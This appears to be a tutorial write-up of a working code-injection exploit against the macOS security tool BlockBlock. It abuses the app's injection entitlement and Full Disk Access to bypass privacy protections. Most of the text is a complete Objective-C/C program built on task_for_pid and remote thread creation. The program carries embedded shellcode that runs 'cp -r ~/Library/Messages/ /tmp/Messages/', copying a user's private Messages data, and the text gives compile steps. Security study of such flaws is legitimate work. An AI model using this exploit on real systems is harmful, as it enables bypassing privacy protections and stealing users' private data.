Skip to main content

Inject execve Shellcode

Use codesign to verify the code signature of the app and its entitlement. 

The entitlement allows code injection. Because the app needs to be granted the Full Disk Access right in privacy settings for the app to run, while normal applications cannot access privacy protected files like Documents, Messages, or AddressBook, even they are run as root, so we get extended access. 

 

 

Slightly modify the previous execve shellcode, change the command to be executed. 

 

Convert the output to a format we can use in C: otool -t shellcode.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' | sed 's/\\x$//g' 

 

Obtain PID of BlockBlock 

Objective-C has an API to find app based on the bundle id, which is NSRunningApplication::runningApplicationsWithBundleIdentifier(withBundleIdentifier: String). 

Use codesign to find the required arg, the bundle id. 

The return value is an array, so the call should be: 

NSArray *runningApplications = [NSRunningApplication runningApplicationsWithBundleIdentifier:@"com.objectiveSee.BlockBlock"]; 

The app has both a daemon running as root and a user mode process, we need to capture the user mode process. 

 

However, there is no shortcut to get uid, using a sysctl call that can retrieve various system info. 

name: An integer array that holds the MIB(Management Information Base) 

namelen: Length of the array 

oldp: A pointer to a memory location that will be updated with the old value 

oldenp: The length of oldp 

newlen: The length 

 

The MIB to query process info based on its PID is {CTL_KERN, KERN_PROC, KERN_PROC_PID, pid} 

The info retrieved from MIB query is defined in the same file as kinfo_proc 

Inside the kinfo_proc structure, there is e_ucred variable, and it contains the uid. 

 

So the complete code to get uid: 

 

The full code to achieve code injection: 

 #import <Foundation/Foundation.h> 

 #import <AppKit/AppKit.h> 

 #include <mach/mach_vm.h> 

 #include <sys/sysctl.h> 

  

 #define STACK_SIZE 0x1000 

 #define CODE_SIZE 128 

  

 char shellcode[] = "\x6a\x3b\x58\x99\x0f\xba\xe8\x19\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53\x54\x5f\x52\x66\x68\x2d\x63\x54\x5b\x52\xeb\x06\x53\x57\x54\x5e\x0f\x05\xe8\xf5\xff\xff\xff\x63\x70\x20\x2d\x72\x20\x7e\x2f\x4c\x69\x62\x72\x61\x72\x79\x2f\x4d\x65\x73\x73\x61\x67\x65\x73\x2f\x20\x2f\x74\x6d\x70\x2f\x4d\x65\x73\x73\x61\x67\x65\x73\x2f\x00"; 

  

 uid_t get_uid(pid_t pid) 

 { 

     uid_t uid = 0; 

  

     struct kinfo_proc process; 

     size_t buffer_size = sizeof(process); 

      

     // Compose search path for sysctl. Here you can specify PID directly. 

     const u_int mib_len = 4; 

     int mib[mib_len] = {CTL_KERN, KERN_PROC, KERN_PROC_PID, pid}; 

     int sysctl_result = sysctl(mib, mib_len, &process, &buffer_size, NULL, 0); 

  

     // If sysctl did not fail and process with PID available - take UID. 

     if ((sysctl_result == 0) && (buffer_size != 0)) { 

         uid = process.kp_eproc.e_ucred.cr_uid; 

     } 

     return uid; 

 } 

  

 pid_t get_pid(NSString* bundle_id) { 

      

     pid_t pid = 0; 

     uid_t uid = -1; 

     //find applications with bundle ID 

     NSArray *runningApplications = [NSRunningApplication runningApplicationsWithBundleIdentifier:bundle_id]; 

     //check if any found at all 

     if (runningApplications.count > 1) { 

         for (id app in runningApplications) { 

             pid = [app processIdentifier]; 

             uid = get_uid(pid); 

             if (uid != 0) { 

                 //if not root (=0) return 

                 return pid; 

             } 

         } 

     } 

     //if we got here, t means that we didn't find an instance 

     printf("[-] There is no instance of the application running as user, exiting...\n"); 

     exit(-1); 

 } 

  

 int main(int argc, const char * argv[]) { 

          

         pid_t pid = get_pid(@"com.objectiveSee.BlockBlock"); 

  

         task_t remoteTask; 

         kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); 

                

         if (kr != KERN_SUCCESS) { 

               printf("[-] Failed to get task port for pid:%d, error: %s\n", pid, mach_error_string(kr)); 

               return(-1); 

             } 

         else { 

             printf("[+] Got access to the task port of process: %d\n", pid); 

         } 

          

         mach_vm_address_t remoteStack64 = (vm_address_t) NULL; 

         mach_vm_address_t remoteCode64 = (vm_address_t) NULL; 

  

         kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE); 

  

         if (kr != KERN_SUCCESS) { 

             printf("[-] Failed to allocate stack memory in remote thread, error: %s\n", mach_error_string(kr)); 

             exit(-1); 

         } else { 

             printf("[+] Allocated remote stack: 0x%llx\n", remoteStack64); 

         } 

  

         kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE ); 

  

         if (kr != KERN_SUCCESS) { 

             printf("[-] Failed to allocate code memory in remote thread, error: %s\n", mach_error_string(kr)); 

             exit(-1); 

         } else { 

             printf("[+] Allocated remote code placeholder: 0x%llx\n", remoteCode64); 

         } 

          

         kr = mach_vm_write(remoteTask, remoteCode64, (vm_address_t) shellcode, CODE_SIZE); 

  

         if (kr != KERN_SUCCESS) { 

             printf("[-] Failed to write into remote thread memory, error: %s\n", mach_error_string(kr)); 

             exit(-1); 

         } 

          

         kr  = vm_protect(remoteTask, remoteCode64, CODE_SIZE, FALSE, VM_PROT_READ | VM_PROT_EXECUTE); 

  

         if (kr != KERN_SUCCESS) { 

             printf("[!] Failed to give injected code memory proper permissions, error: %s\n", mach_error_string(kr)); 

             exit(-1); 

         } 

  

         kr  = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE); 

  

         if (kr != KERN_SUCCESS) { 

             printf("[!] Failed to give stack memory proper permissions, error: %s\n", mach_error_string(kr)); 

             exit(-1); 

         } 

  

         x86_thread_state64_t remoteThreadState64; 

  

         memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) ); 

  

         //shift stack 

         remoteStack64 += (STACK_SIZE / 2); // this is the real stack 

  

         // set remote instruction pointer 

         remoteThreadState64.__rip = (u_int64_t) remoteCode64; 

  

         // set remote Stack Pointer 

         remoteThreadState64.__rsp = (u_int64_t) remoteStack64; 

         remoteThreadState64.__rbp = (u_int64_t) remoteStack64; 

  

         printf ("[+] Remote Stack 64  0x%llx, Remote code is 0x%llx\n", remoteStack64, remoteCode64 ); 

      

         //thread variable 

         thread_act_t remoteThread; 

  

         //create thread 

         kr = thread_create_running( remoteTask, x86_THREAD_STATE64, 

            (thread_state_t) &remoteThreadState64, x86_THREAD_STATE64_COUNT, &remoteThread); 

  

         if (kr != KERN_SUCCESS) { 

             printf("[-] Exploit failed: error: %s\n", mach_error_string (kr)); 

             return (-1); 

         } 

          

         printf("[+] Exploit succeeded! Check /tmp/\n"); 

 

         return (0); 

 

 } 

Compile the code: gcc -framework Foundation -framework Appkit bb.m -o bb 

The exploit works.